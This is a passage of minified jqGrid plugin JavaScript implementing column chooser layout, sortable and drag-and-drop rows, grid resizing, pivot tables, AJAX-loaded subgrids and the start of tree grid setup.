d=Ye("#colchooser_"+Ye.jgrid.jqID(o[0].p.id)),g=Ye(".ui-jqgrid").css("font-size")||"11px";d.parent().css("font-size",g),d.css({margin:"auto"}),d.find(">div").css({width:"100%",height:"100%",margin:"auto"}),(g=s(i)).container.css({width:"100%",height:"100%",margin:"auto"}),g.selectedContainer.css({width:100*g.options.dividerLocation+"%",height:"100%",margin:"auto",boxSizing:"border-box"}),g.availableContainer.css({width:100-100*g.options.dividerLocation+"%",height:"100%",margin:"auto",boxSizing:"border-box"}),g.selectedList.css("height","auto"),g.availableList.css("height","auto"),d=Math.max(g.selectedList.height(),g.availableList.height()),d=Math.min(d,Ye(window).height()),g.selectedList.css("height",d),g.availableList.css("height",d),m()}function f(e,t){e&&("string"==typeof e?Ye.fn[e]&&Ye.fn[e].apply(t,Ye.makeArray(arguments).slice(2)):Ye.jgrid.isFunction(e)&&e.apply(t,Ye.makeArray(arguments).slice(2)))}function m(){var e=s(i),t=e.container.closest(".ui-dialog-content");0<t.length&&"object"==typeof t[0].style?t[0].style.width="":t.css("width",""),e.selectedList.height(Math.max(e.selectedContainer.height()-e.selectedActions.outerHeight()-1,1)),e.availableList.height(Math.max(e.availableContainer.height()-e.availableActions.outerHeight()-1,1))}},sortableRows:function(o){return this.each(function(){var i=this;i.grid&&!i.p.treeGrid&&Ye.fn.sortable&&((o=Ye.extend({cursor:"move",axis:"y",items:" > .jqgrow"},o||{})).start&&Ye.jgrid.isFunction(o.start)?(o._start_=o.start,delete o.start):o._start_=!1,o.update&&Ye.jgrid.isFunction(o.update)?(o._update_=o.update,delete o.update):o._update_=!1,o.start=function(e,t){if(Ye(t.item).css("border-width","0"),Ye("td",t.item).each(function(e){this.style.width=i.grid.cols[e].style.width}),i.p.subGrid){var r=Ye(t.item).attr("id");try{Ye(i).jqGrid("collapseSubGridRow",r)}catch(e){}}o._start_&&o._start_.apply(this,[e,t])},o.update=function(e,t){Ye(t.item).css("border-width",""),!0===i.p.rownumbers&&Ye("td.jqgrid-rownum",i.rows).each(function(e){Ye(this).html(e+1+(parseInt(i.p.page,10)-1)*parseInt(i.p.rowNum,10))}),o._update_&&o._update_.apply(this,[e,t])},Ye(i).find("tbody").first().sortable(o),Ye("tbody",i).first().find(" > .jqgrow").disableSelection())})},gridDnD:function(i){return this.each(function(){var e,t,a=this;if(a.grid&&!a.p.treeGrid&&Ye.fn.draggable&&Ye.fn.droppable){var h;if(void 0===Ye("#jqgrid_dnd")[0]&&Ye("body").append("<table id='jqgrid_dnd' class='ui-jqgrid-dnd'></table>"),"string"==typeof i&&"updateDnD"===i&&!0===a.p.jqgdnd)r();else if((i=Ye.extend({drag:function(o){return Ye.extend({start:function(e,t){var r,i;if(a.p.subGrid){i=Ye(t.helper).attr("id");try{Ye(a).jqGrid("collapseSubGridRow",i)}catch(e){}}for(r=0;r<Ye.data(a,"dnd").connectWith.length;r++)0===Ye(Ye.data(a,"dnd").connectWith[r]).jqGrid("getGridParam","reccount")&&Ye(Ye.data(a,"dnd").connectWith[r]).jqGrid("addRowData","jqg_empty_row",{});t.helper.addClass("ui-state-highlight"),Ye("td",t.helper).each(function(e){this.style.width=a.grid.headers[e].width+"px"}),o.onstart&&Ye.jgrid.isFunction(o.onstart)&&o.onstart.call(Ye(a),e,t)},stop:function(e,t){var r,i;for(t.helper.dropped&&!o.dragcopy&&(void 0===(i=Ye(t.helper).attr("id"))&&(i=Ye(this).attr("id")),Ye(a).jqGrid("delRowData",i)),r=0;r<Ye.data(a,"dnd").connectWith.length;r++)Ye(Ye.data(a,"dnd").connectWith[r]).jqGrid("delRowData","jqg_empty_row");o.onstop&&Ye.jgrid.isFunction(o.onstop)&&o.onstop.call(Ye(a),e,t)}},o.drag_opts||{})},drop:function(u){return Ye.extend({accept:function(e){if(!Ye(e).hasClass("jqgrow"))return e;h=Ye(e).closest("table.ui-jqgrid-btable");var t,e=Ye(this).find("table.ui-jqgrid-btable").first()[0];return 0<h.length&&void 0!==Ye.data(h[0],"dnd")&&(t=Ye.data(h[0],"dnd").connectWith,-1!==Ye.inArray("#"+Ye.jgrid.jqID(e.id),t))},drop:function(e,t){if(Ye(t.draggable).hasClass("jqgrow")){var r,i,o=Ye(t.draggable).attr("id"),a=t.draggable.parent().parent().jqGrid("getRowData",o),n=[],o=Ye(this).find("table.ui-jqgrid-btable").first()[0];if(Ye.isPlainObject(a)&&(n=Object.keys(a)),!u.dropbyname){var l,s,d={},p=0,c=Ye("#"+Ye.jgrid.jqID(o.id)).jqGrid("getGridParam","colModel");try{for(l=0;l<c.length;l++)"cb"!==(s=c[l].name)&&"rn"!==s&&"subgrid"!==s&&"sc"!==s&&(void 0!==n[p]&&(d[s]=a[n[p]]),p++);a=d}catch(e){}}t.helper.dropped=!0,Ye.data(h[0],"dnd").beforedrop&&Ye.jgrid.isFunction(Ye.data(h[0],"dnd").beforedrop)&&null!=(r=Ye.data(h[0],"dnd").beforedrop.call(o,e,t,a,Ye(h[0]),Ye(o)))&&"object"==typeof r&&(a=r),t.helper.dropped&&(u.autoid&&(i=Ye.jgrid.isFunction(u.autoid)?u.autoid.call(o,a):(i=Math.ceil(1e3*Math.random()),u.autoidprefix+i)),Ye("#"+Ye.jgrid.jqID(o.id)).jqGrid("addRowData",i,a,u.droppos)),u.ondrop&&Ye.jgrid.isFunction(u.ondrop)&&u.ondrop.call(o,e,t,a)}}},u.drop_opts||{})},onstart:null,onstop:null,beforedrop:null,ondrop:null,drop_opts:{activeClass:"ui-state-active",hoverClass:"ui-state-hover",tolerance:"intersect"},drag_opts:{revert:"invalid",helper:"clone",cursor:"move",appendTo:"#jqgrid_dnd",zIndex:5e3},dragcopy:!1,dropbyname:!1,droppos:"first",autoid:!0,autoidprefix:"dnd_"},i||{})).connectWith)for(i.connectWith=i.connectWith.split(","),i.connectWith=Ye.map(i.connectWith,function(e){return Ye.jgrid.trim(e)}),Ye.data(a,"dnd",i),0===a.p.reccount||a.p.jqgdnd||r(),a.p.jqgdnd=!0,e=0;e<i.connectWith.length;e++)t=i.connectWith[e],Ye(t).closest(".ui-jqgrid-bdiv").droppable(Ye.jgrid.isFunction(i.drop)?i.drop.call(Ye(a),i):i.drop)}function r(){var e=Ye.data(a,"dnd");Ye("tr.jqgrow:not(.ui-draggable)",a).draggable(Ye.jgrid.isFunction(e.drag)?e.drag.call(Ye(a),e):e.drag)}})},gridResize:function(a){return this.each(function(){var r,e,t,i=this,o=Ye.jgrid.jqID(i.p.id);i.grid&&Ye.fn.resizable&&((a=Ye.extend({},{resizeclass:"ui-resizable-icon"},a||{})).alsoResize?(a._alsoResize_=a.alsoResize,delete a.alsoResize):a._alsoResize_=!1,a.stop&&Ye.jgrid.isFunction(a.stop)?(a._stop_=a.stop,delete a.stop):a._stop_=!1,e=a.resizeclass,"jQueryUI"!==i.p.styleUI&&(a.handles?a.handles.se?e+=" "+a.handles.se.replace(".",""):a.handles.se="."+e:(a.handles={},t=e.split(" "),a.handles.se="."+t[0]),e+=" ui-resizable-se ui-resizable-handle",Ye("#gbox_"+o).append('<span class="'+e+'"></span>')),a.stop=function(e,t){Ye(i).jqGrid("setGridParam",{height:Ye("#gview_"+o+" .ui-jqgrid-bdiv").height()}),Ye(i).jqGrid("setGridWidth",t.size.width,a.shrinkToFit),a._stop_&&a._stop_.call(i,e,t),i.p.caption&&Ye("#gbox_"+o).css({height:"auto"}),i.p.frozenColumns&&(r&&clearTimeout(r),r=setTimeout(function(){r&&clearTimeout(r),Ye("#"+o).jqGrid("destroyFrozenColumns"),Ye("#"+o).jqGrid("setFrozenColumns")}))},a._alsoResize_?a.alsoResize="#gview_"+o+" .ui-jqgrid-bdiv,"+a._alsoResize_:a.alsoResize=Ye(".ui-jqgrid-bdiv","#gview_"+o),delete a._alsoResize_,Ye("#gbox_"+o).resizable(a))})}}),Ye.assocArraySize=function(e){var t,r=0;for(t in e)e.hasOwnProperty(t)&&r++;return r},Ye.jgrid.extend({pivotSetup:function(k,e){var R=[],N=[],M=[],O=[],A=[],T={grouping:!0,groupingView:{groupField:[],groupSummary:[],groupSummaryPos:[]}},P=[],B=Ye.extend({rowTotals:!1,rowTotalsText:"Total",colTotals:!1,groupSummary:!0,groupSummaryPos:"header",frozenStaticCols:!1},e||{});return this.each(function(){var u,h,g,e,t,f=this,r=k.length,i=0;function o(e,t,r){e=function(e,t){var r,i,o,a=[];if(!this||"function"!=typeof e||e instanceof RegExp)throw new TypeError;for(o=this.length,r=0;r<o;r++)if(this.hasOwnProperty(r)&&(i=this[r],e.call(t,i,r,this))){a.push(i);break}return a}.call(e,t,r);return 0<e.length?e[0]:null}function a(e,t){var r,i=0,o=!0;for(r in e)if(e.hasOwnProperty(r)){if(e[r]!=this[i]){o=!1;break}if(++i>=this.length)break}return o&&(w=t),o}function n(e,t,r,i){var o,a,n,l,s=t.length,d="",p=[],c=1;for(Array.isArray(r)?(n=r.length,p=r):(n=1,p[0]=r),A=[],a=(O=[]).root=0;a<n;a++){for(var u,h=[],g=0;g<s;g++){if(l="string"==typeof t[g].aggregator?t[g].aggregator:"cust",null==r)u=o=Ye.jgrid.trim(t[g].member)+"_"+l,p[0]=t[g].label||l+" "+Ye.jgrid.trim(t[g].member);else{u=r[a].replace(/\s+/g,"");try{o=1===s?d+u:d+u+"_"+l+"_"+String(g)}catch(e){}p[a]=r[a]}o=isNaN(parseInt(o,10))?o:o+" ","avg"===t[g].aggregator&&(l=-1===w?N.length+"_"+o:w+"_"+o,m[l]?m[l]++:m[l]=1,c=m[l]),i[o]=h[o]=function(e,t,r,i,o){var a;if(Ye.jgrid.isFunction(e))a=e.call(f,t,r,i);else switch(e){case"sum":a=Ye.jgrid.floatNum(t)+Ye.jgrid.floatNum(i[r]);break;case"count":""!==t&&null!=t||(t=0),a=i.hasOwnProperty(r)?t+1:0;break;case"min":a=""===t||null==t?Ye.jgrid.floatNum(i[r]):Math.min(Ye.jgrid.floatNum(t),Ye.jgrid.floatNum(i[r]));break;case"max":a=""===t||null==t?Ye.jgrid.floatNum(i[r]):Math.max(Ye.jgrid.floatNum(t),Ye.jgrid.floatNum(i[r]));break;case"avg":a=(Ye.jgrid.floatNum(t)*(o-1)+Ye.jgrid.floatNum(i[r]))/o}return a}(t[g].aggregator,i[o],t[g].member,e,c)}d+=r&&null!=r[a]?r[a].replace(/\s+/g,""):"",O[o]=h,A[o]=p[a]}return i}if(B.rowTotals&&0<B.yDimension.length&&(e=B.yDimension[0].dataName,B.yDimension.splice(0,0,{dataName:e}),B.yDimension[0].converter=function(){return"_r_Totals"}),u=Array.isArray(B.xDimension)?B.xDimension.length:0,h=B.yDimension.length,g=Array.isArray(B.aggregates)?B.aggregates.length:0,0===u||0===g)throw"xDimension or aggregates optiona are not set!";for(j=0;j<u;j++)t={name:B.xDimension[j].dataName,frozen:B.frozenStaticCols},null==B.xDimension[j].isGroupField&&(B.xDimension[j].isGroupField=!0),t=Ye.extend(!0,t,B.xDimension[j]),R.push(t);for(var l=u-1,s={},m=[];i<r;){for(var d=k[i],p=[],c=[],v={},j=0;p[j]=Ye.jgrid.trim(d[B.xDimension[j].dataName]),v[B.xDimension[j].dataName]=p[j],++j<u;);var b,y=0,w=-1;if(b=o(N,a,p)){if(0<=w){if(y=0,1<=h){for(y=0;y<h;y++)c[y]=Ye.jgrid.trim(d[B.yDimension[y].dataName]),void 0===c[y]?c[y]=null:B.yDimension[y].converter&&Ye.jgrid.isFunction(B.yDimension[y].converter)&&(c[y]=B.yDimension[y].converter.call(this,c[y],p,c));b=n(d,B.aggregates,c,b)}else 0===h&&(b=n(d,B.aggregates,null,b));N[w]=b}}else{if(y=0,1<=h){for(y=0;y<h;y++)c[y]=Ye.jgrid.trim(d[B.yDimension[y].dataName]),void 0===c[y]?c[y]=null:B.yDimension[y].converter&&Ye.jgrid.isFunction(B.yDimension[y].converter)&&(c[y]=B.yDimension[y].converter.call(this,c[y],p,c));v=n(d,B.aggregates,c,v)}else 0===h&&(v=n(d,B.aggregates,null,v));N.push(v)}var x,_=0,q=null,C=null;for(x in O)if(O.hasOwnProperty(x)){if(0===_)q=(s=s.children&&void 0!==s.children?s:{text:x,level:0,children:[],label:x}).children;else{for(C=null,j=0;j<q.length;j++)if(q[j].text===x){C=q[j];break}q=(C||(q.push({children:[],text:x,level:_,fields:O[x],label:A[x]}),q[q.length-1])).children}_++}i++}var I,m=null,D=[],F=R.length,G=F;if(0<h&&(P[h-1]={useColSpanStyle:!1,groupHeaders:[]}),!function e(t){var r,i,o,a,n;for(o in t)if(t.hasOwnProperty(o)){if("object"!=typeof t[o]){if("level"===o){if(void 0===D[t.level]&&(D[t.level]="",0<t.level)&&-1===t.text.indexOf("_r_Totals")&&(P[t.level-1]={useColSpanStyle:!1,groupHeaders:[]}),D[t.level]!==t.text&&t.children.length&&-1===t.text.indexOf("_r_Totals")&&0<t.level){P[t.level-1].groupHeaders.push({titleText:t.label,numberOfColumns:0});var l=P[t.level-1].groupHeaders.length-1,s=0==l?G:F;if(t.level-1==(B.rowTotals?1:0)&&0<l){for(var d=0,p=0;p<l;p++)d+=P[t.level-1].groupHeaders[p].numberOfColumns;d&&(s=d+u)}R[s]&&(P[t.level-1].groupHeaders[l].startColumnName=R[s].name,P[t.level-1].groupHeaders[l].numberOfColumns=R.length-s),F=R.length}D[t.level]=t.text}if(t.level===h&&"level"===o&&0<h)if(1<g){var c=1;for(r in t.fields)t.fields.hasOwnProperty(r)&&(1===c&&P[h-1].groupHeaders.push({startColumnName:r,numberOfColumns:1,titleText:t.label||t.text}),c++);P[h-1].groupHeaders[P[h-1].groupHeaders.length-1].numberOfColumns=c-1}else P.splice(h-1,1)}if(null!=t[o]&&"object"==typeof t[o]&&e(t[o]),"level"===o&&0<t.level&&(t.level===(0===h?t.level:h)||-1!==D[t.level].indexOf("_r_Totals")))for(r in i=0,t.fields)if(t.fields.hasOwnProperty(r)){for(a in n={},B.aggregates[i])if(B.aggregates[i].hasOwnProperty(a))switch(a){case"member":case"label":case"aggregator":break;default:n[a]=B.aggregates[i][a]}1<g?(n.name=r,n.label=B.aggregates[i].label||t.label):(n.name=t.text,n.label="_r_Totals"===t.text?B.rowTotalsText:t.label),R.push(n),i++}}}(s),B.colTotals)for(var S=N.length;S--;)for(j=u;j<R.length;j++)I=R[j].name,M[I]?M[I]+=Ye.jgrid.floatNum(N[S][I]):M[I]=Ye.jgrid.floatNum(N[S][I]);if(0<l)for(j=0;j<l;j++)R[j].isGroupField&&(T.groupingView.groupField.push(R[j].name),T.groupingView.groupSummary.push(B.groupSummary),T.groupingView.groupSummaryPos.push(B.groupSummaryPos));else T.grouping=!1;T.sortname=R[l].name,T.groupingView.hideFirstGroupCol=!0}),{colModel:R,rows:N,groupOptions:T,groupHeaders:P,summary:M}},jqPivot:function(r,d,p,i){return this.each(function(){var s=this,e=p.regional||"en";function t(e){Ye.jgrid.isFunction(d.onInitPivot)&&d.onInitPivot.call(s),Array.isArray(e)||(e=[]);var t,r,i,o,a=jQuery(s).jqGrid("pivotSetup",e,d),e=0<Ye.assocArraySize(a.summary),n=Ye.jgrid.from.call(s,a.rows);for(d.ignoreCase&&(n=n.ignoreCase()),t=0;t<a.groupOptions.groupingView.groupField.length;t++)r=d.xDimension[t].sortorder||"asc",i=d.xDimension[t].sorttype||"text",n.orderBy(a.groupOptions.groupingView.groupField[t],r,i,"",i);if(o=d.xDimension.length,p.sortname){for(r=p.sortorder||"asc",i="text",t=0;t<o;t++)if(d.xDimension[t].dataName===p.sortname){i=d.xDimension[t].sorttype||"text";break}n.orderBy(p.sortname,r,i,"",i)}else a.groupOptions.sortname&&o&&(r=d.xDimension[o-1].sortorder||"asc",i=d.xDimension[o-1].sorttype||"text",n.orderBy(a.groupOptions.sortname,r,i,"",i));jQuery(s).jqGrid(Ye.extend(!0,{datastr:Ye.extend(n.select(),e?{userdata:a.summary}:{}),datatype:"jsonstring",footerrow:e,userDataOnFooter:e,colModel:a.colModel,viewrecords:!0,formatFooterData:!0===d.colTotals,sortname:d.xDimension[0].dataName},a.groupOptions,p||{}));var l=a.groupHeaders;if(l.length)for(t=0;t<l.length;t++)l[t]&&l[t].groupHeaders.length&&jQuery(s).jqGrid("setGroupHeaders",l[t]);d.frozenStaticCols&&jQuery(s).jqGrid("setFrozenColumns"),Ye.jgrid.isFunction(d.onCompletePivot)&&d.onCompletePivot.call(s),d.loadMsg&&Ye(".loading_pivot").remove()}void 0===d.loadMsg&&(d.loadMsg=!0),d.loadMsg&&Ye("<div class='loading_pivot ui-state-default ui-state-active row'>"+Ye.jgrid.getRegional(s,"regional."+e+".defaults.loadtext")+"</div>").insertBefore(s).show(),"string"==typeof r?Ye.ajax(Ye.extend({url:r,dataType:"json",success:function(e){t(Ye.jgrid.getAccessor(e,i&&i.reader?i.reader:"rows"))}},i||{})):t(r)})}}),Ye.jgrid.extend({setSubGrid:function(){return this.each(function(){var e,t,r=Ye.jgrid.styleUI[this.p.styleUI||"jQueryUI"].subgrid,r={plusicon:r.icon_plus,minusicon:r.icon_minus,openicon:r.icon_open,expandOnLoad:!1,selectOnExpand:!1,selectOnCollapse:!1,reloadOnExpand:!0,onErrorLoadData:null};if(this.p.subGridOptions=Ye.extend(r,this.p.subGridOptions||{}),this.p.colNames.unshift(""),this.p.colModel.unshift({name:"subgrid",width:Ye.jgrid.cell_width?this.p.subGridWidth+this.p.cellLayout:this.p.subGridWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,fixed:!0}),(e=this.p.subGridModel)[0])for(e[0].align=Ye.extend([],e[0].align||[]),t=0;t<e[0].name.length;t++)e[0].align[t]=e[0].align[t]||"left"})},addSubGridCell:function(e,t){var r,i,o,a="";return this.each(function(){a=this.formatCol(e,t),i=this.p.id,r=this.p.subGridOptions.plusicon,o=Ye.jgrid.styleUI[this.p.styleUI||"jQueryUI"].common}),'<td role="gridcell" aria-describedby="'+i+'_subgrid" class="ui-sgcollapsed sgcollapsed" '+a+"><a style='cursor:pointer;' class='ui-sghref'><span class='"+o.icon_base+" "+r+"'></span></a></td>"},addSubGrid:function(b,a){return this.each(function(){var c=this;if(c.grid){var n,l,s,d,p,e,r,u=Ye.jgrid.styleUI[c.p.styleUI||"jQueryUI"].base,h=Ye.jgrid.styleUI[c.p.styleUI||"jQueryUI"].common,g=Ye.jgrid.getRegional(this,"errors"),f=function(e,t,r){r=Ye("<td align='"+c.p.subGridModel[0].align[r]+"'></td>").html(t);Ye(e).append(r)},m=function(e,t){for(var r,i,o=Ye("<table class='"+u.rowTable+" ui-common-table'><tbody></tbody></table>"),a=Ye("<tr></tr>"),n=0;n<c.p.subGridModel[0].name.length;n++)r=Ye("<th class='"+u.headerBox+" ui-th-subgrid ui-th-column ui-th-"+c.p.direction+"'></th>"),Ye(r).html(c.p.subGridModel[0].name[n]),Ye(r).width(c.p.subGridModel[0].width[n]),Ye(a).append(r);Ye(o).append(a),e&&(i=c.p.xmlReader.subgrid,Ye(i.root+" "+i.row,e).each(function(){if(a=Ye("<tr class='"+h.content+" ui-subtblcell'></tr>"),!0===i.repeatitems)Ye(i.cell,this).each(function(e){f(a,Ye(this).text()||" ",e)});else{var e=c.p.subGridModel[0].mapping||c.p.subGridModel[0].name;if(e)for(n=0;n<e.length;n++)f(a,Ye.jgrid.getXmlData(this,e[n])||" ",n)}Ye(o).append(a)}));e=Ye(c.grid.bDiv).find("table").first().attr("id")+"_";return Ye("#"+Ye.jgrid.jqID(e+t)).append(o),c.grid.hDiv.loading=!1,Ye("#load_"+Ye.jgrid.jqID(c.p.id)).hide(),!1},v=function(e,t){for(var r,i,o,a,n,l=Ye("<table class='"+u.rowTable+" ui-common-table'><tbody></tbody></table>"),s=Ye("<tr></tr>"),d=0;d<c.p.subGridModel[0].name.length;d++)r=Ye("<th class='"+u.headerBox+" ui-th-subgrid ui-th-column ui-th-"+c.p.direction+"'></th>"),Ye(r).html(c.p.subGridModel[0].name[d]),Ye(r).width(c.p.subGridModel[0].width[d]),Ye(s).append(r);if(Ye(l).append(s),e&&(a=c.p.jsonReader.subgrid,void 0!==(i=Ye.jgrid.getAccessor(e,a.root))))for(d=0;d<i.length;d++){if(o=i[d],s=Ye("<tr class='"+h.content+" ui-subtblcell'></tr>"),!0===a.repeatitems)for(a.cell&&(o=o[a.cell]),n=0;n<o.length;n++)f(s,o[n]||" ",n);else{var p=c.p.subGridModel[0].mapping||c.p.subGridModel[0].name;if(p.length)for(n=0;n<p.length;n++)f(s,Ye.jgrid.getAccessor(o,p[n])||" ",n)}Ye(l).append(s)}e=Ye(c.grid.bDiv).find("table").first().attr("id")+"_";return Ye("#"+Ye.jgrid.jqID(e+t)).append(l),c.grid.hDiv.loading=!1,Ye("#load_"+Ye.jgrid.jqID(c.p.id)).hide(),!1},j=0,t=(Ye.each(c.p.colModel,function(){!0!==this.hidden&&"rn"!==this.name&&"cb"!==this.name&&"sc"!==this.name||j++}),c.rows.length),i=1,o=Ye.jgrid.isFunction(c.p.isHasSubGrid);for(void 0!==a&&0<a&&(t=(i=a)+1);i<t;)Ye(c.rows[i]).hasClass("jqgrow")&&(c.p.scroll&&Ye(c.rows[i].cells[b]).off("click"),e=null,!1===(e=o?c.p.isHasSubGrid.call(c,c.rows[i].id):e)?c.rows[i].cells[b].innerHTML="":Ye(c.rows[i].cells[b]).on("click",function(){var e=Ye(this).parent("tr")[0];if(l=c.p.id,n=e.id,p=Ye("#"+l+"_"+n+"_expandedContent"),Ye(this).hasClass("sgcollapsed")){if(!1===(d=(d=!1!==(d=Ye(c).triggerHandler("jqGridSubGridBeforeExpand",[l+"_"+n,n]))&&"stop"!==d)&&Ye.jgrid.isFunction(c.p.subGridBeforeExpand)?c.p.subGridBeforeExpand.call(c,l+"_"+n,n):d))return!1;if(!0===c.p.subGridOptions.reloadOnExpand||!1===c.p.subGridOptions.reloadOnExpand&&!p.hasClass("ui-subgrid"))if(s=1<=b?"<td colspan='"+b+"'> </td>":"",Ye(e).after("<tr role='row' id='"+l+"_"+n+"_expandedContent' class='ui-subgrid ui-sg-expanded'>"+s+"<td class='"+h.content+" subgrid-cell'><span class='"+h.icon_base+" "+c.p.subGridOptions.openicon+"'></span></td><td colspan='"+parseInt(c.p.colNames.length-1-j,10)+"' class='"+h.content+" subgrid-data'><div id="+l+"_"+n+" class='tablediv'></div></td></tr>"),Ye(c).triggerHandler("jqGridSubGridRowExpanded",[l+"_"+n,n]),Ye.jgrid.isFunction(c.p.subGridRowExpanded))c.p.subGridRowExpanded.call(c,l+"_"+n,n);else{var t,r,i=e,o=Ye(i).attr("id"),a={nd_:(new Date).getTime()};if(a[c.p.prmNames.subgridid]=o,c.p.subGridModel[0]){if(c.p.subGridModel[0].params)for(r=0;r<c.p.subGridModel[0].params.length;r++)for(t=0;t<c.p.colModel.length;t++)c.p.colModel[t].name===c.p.subGridModel[0].params[r]&&(a[c.p.colModel[t].name]=Ye("td",i).eq(t).text().replace(/\ \;/gi,""));if(!c.grid.hDiv.loading)switch(c.grid.hDiv.loading=!0,Ye("#load_"+Ye.jgrid.jqID(c.p.id)).show(),c.p.subgridtype||(c.p.subgridtype=c.p.datatype),Ye.jgrid.isFunction(c.p.subgridtype)?c.p.subgridtype.call(c,a):c.p.subgridtype=c.p.subgridtype.toLowerCase(),c.p.subgridtype){case"xml":case"json":Ye.ajax(Ye.extend({type:c.p.mtype,url:Ye.jgrid.isFunction(c.p.subGridUrl)?c.p.subGridUrl.call(c,a):c.p.subGridUrl,dataType:c.p.subgridtype,data:Ye.jgrid.isFunction(c.p.serializeSubGridData)?c.p.serializeSubGridData.call(c,a):a,success:function(e,t,r){"xml"===c.p.subgridtype?m(r.responseXML,o):v(Ye.jgrid.parse(r.responseText),o)},error:function(e,t,r){if(Ye.jgrid.isFunction(c.p.subGridOptions.onErrorLoadData))c.p.subGridOptions.onErrorLoadData.call(c,rowid,e,t,r);else{t=e.responseText+" <br/>"+e.statusText;try{Ye.jgrid.info_dialog(g.errcap,'<div class="'+h.error+'">'+t+"</div>",edit.bClose,{buttonalign:"right",styleUI:c.p.styleUI})}catch(e){alert(t)}}}},Ye.jgrid.ajaxOptions,c.p.ajaxSubgridOptions||{}))}}}else p.show().removeClass("ui-sg-collapsed").addClass("ui-sg-expanded");Ye(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+h.icon_base+" "+c.p.subGridOptions.minusicon+"'></span></a>").removeClass("sgcollapsed").addClass("sgexpanded"),c.p.subGridOptions.selectOnExpand&&Ye(c).jqGrid("setSelection",n)}else if(Ye(this).hasClass("sgexpanded")){if(!1===(d=(d=!1!==(d=Ye(c).triggerHandler("jqGridSubGridRowColapsed",[l+"_"+n,n]))&&"stop"!==d)&&Ye.jgrid.isFunction(c.p.subGridRowColapsed)?c.p.subGridRowColapsed.call(c,l+"_"+n,n):d))return!1;!0===c.p.subGridOptions.reloadOnExpand?p.remove(".ui-subgrid"):p.hasClass("ui-subgrid")&&p.hide().addClass("ui-sg-collapsed").removeClass("ui-sg-expanded"),Ye(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+h.icon_base+" "+c.p.subGridOptions.plusicon+"'></span></a>").removeClass("sgexpanded").addClass("sgcollapsed"),c.p.subGridOptions.selectOnCollapse&&Ye(c).jqGrid("setSelection",n)}return!1})),i++;!0===c.p.subGridOptions.expandOnLoad&&(r=0,c.p.multiselect&&r++,c.p.rownumbers&&r++,Ye(c.rows).filter(".jqgrow").each(function(e,t){Ye(t.cells[r]).click()})),c.subGridXml=function(e,t){m(e,t)},c.subGridJson=function(e,t){v(e,t)}}})},expandSubGridRow:function(t){return this.each(function(){var e;(this.grid||t)&&!0===this.p.subGrid&&(e=Ye(this).jqGrid("getInd",t,!0))&&(e=Ye("td.sgcollapsed",e)[0])&&Ye(e).trigger("click")})},collapseSubGridRow:function(t){return this.each(function(){var e;(this.grid||t)&&!0===this.p.subGrid&&(e=Ye(this).jqGrid("getInd",t,!0))&&(e=Ye("td.sgexpanded",e)[0])&&Ye(e).trigger("click")})},toggleSubGridRow:function(r){return this.each(function(){var e,t;(this.grid||r)&&!0===this.p.subGrid&&(e=Ye(this).jqGrid("getInd",r,!0))&&(t=(t=Ye("td.sgcollapsed",e)[0])||Ye("td.sgexpanded",e)[0])&&Ye(t).trigger("click")})}}),Ye.jgrid.extend({setTreeNode:function(f,m){return this.each(function(){var r=this;if(r.grid&&r.p.treeGrid){var e,t,i,o,a,n=r.p.expColInd,l=r.p.treeReader.expanded_field,s=r.p.treeReader.leaf_field,d=r.p.treeReader.level_field,p=r.p.treeReader.icon_field,c=r.p.treeReader.loaded,u=Ye.jgrid.styleUI[r.p.styleUI||"jQueryUI"].common,h=f;for(Ye(r).triggerHandler("jqGridBeforeSetTreeNode",[h,m]),Ye.jgrid.isFunction(r.p.beforeSetTreeNode)&&r.p.beforeSetTreeNode.call(r,h,m);f<m;){var g=Ye.jgrid.stripPref(r.p.idPrefix,r.rows[f].id),g=r.p._index[g],g=r.p.data[g];"nested"!==r.p.treeGridModel||g[s]||(i=parseInt(g[r.p.treeReader.left_field],10),e=parseInt(g[r.p.treeReader.right_field],10),g[s]=e===i+1?"true":"false",r.rows[f].cells[r.p._treeleafpos].innerHTML=g[s]),e=parseInt(g[d],10),i=0===r.p.tree_root_level?(t=e+1,e):(t=e)-1,o="<div class='tree-wrap tree-wrap-"+r.p.direction+"' style='width:"+18*t+"px;'>",o+="<div style='"+("rtl"===r.p.direction?"right:":"left:")+18*i+"px;' class='"+u.icon_base+" ",void 0!==g[c]&&("true"===g[c]||!0===g[c]?g[c]=!0:g[c]=!1),a="true"===g[s]||!0===g[s]?(o+=(void 0!==g[p]&&""!==g[p]?g[p]:r.p.treeIcons.leaf)+" tree-leaf treeclick",g[s]=!0,"leaf"):(g[s]=!1,""),g[l]=("true"===g[l]||!0===g[l])&&(g[c]||void 0===g[c]),!1===g[l]?o+=!0===g[s]?"'":r.p.treeIcons.plus+" tree-plus treeclick'":o+=!0===g[s]?"'":r.p.treeIcons.minus+" tree-minus treeclick'",o+="></div></div>",Ye(r.rows[f].cells[n]).wrapInner("<span class='cell-wrapper"+a+"'></span>").prepend(o),e===parseInt(r.p.tree_root_level,10)||Ye(r).jqGrid("isVisibleNode",g)||Ye(r.rows[f]).css("display","none"),Ye(r.rows[f].cells[n]).find("div.treeclick").on("click",function(e){e=e.target||e.srcElement,e=Ye.jgrid.stripPref(r.p.idPrefix,Ye(e,r.rows).closest("tr.jqgrow")[0].id),e=r.p._index[e];r.p.data[e][s]||(r.p.data[e][l]?(Ye(r).jqGrid("collapseRow",r.p.data[e]),Ye(r).jqGrid("collapseNode",r.p.data[e])):(Ye(r).jqGrid("expandRow",r.p.data[e]),Ye(r).jqGrid("expandNode",r.p.data[e])))}),!0===r.p.ExpandColClick&&Ye(r.rows[f].cells[n]).find("span.cell-wrapper").css("cursor","pointer").on("click",function(e){var e=e.target||e.srcElement,e=Ye.jgrid.stripPref(r.p.idPrefix,Ye(e,r.rows).closest("tr.jqgrow")[0].id),t=r.p._index[e];r.p.data[t][s]||(r.p.data[t][l]?(Ye(r).jqGrid("collapseRow",r.p.data[t]),Ye(r).jqGrid("collapseNode",r.p.data[t])):(Ye(r).jqGrid("expandRow",r.p.data[t]),Ye(r).jqGrid("expandNode",r.p.data[t]))),Ye(r).jqGrid("setSelection",e)}),f++}Ye(r).triggerHandler("jqGridAfterSetTreeNode",[h,m]),Ye.jgrid.isFunction(r.p.afterSetTreeNode)&&r.p.afterSetTreeNode.call(r,h,m)}})},setTreeGrid:function(){return this.each(function(){var e,t,r,i,o=this,a=0,n=!1,l=[],s=Ye.jgrid.styleUI[o.p.styleUI||"jQueryUI"].treegrid;if(o.p.treeGrid){for(r in 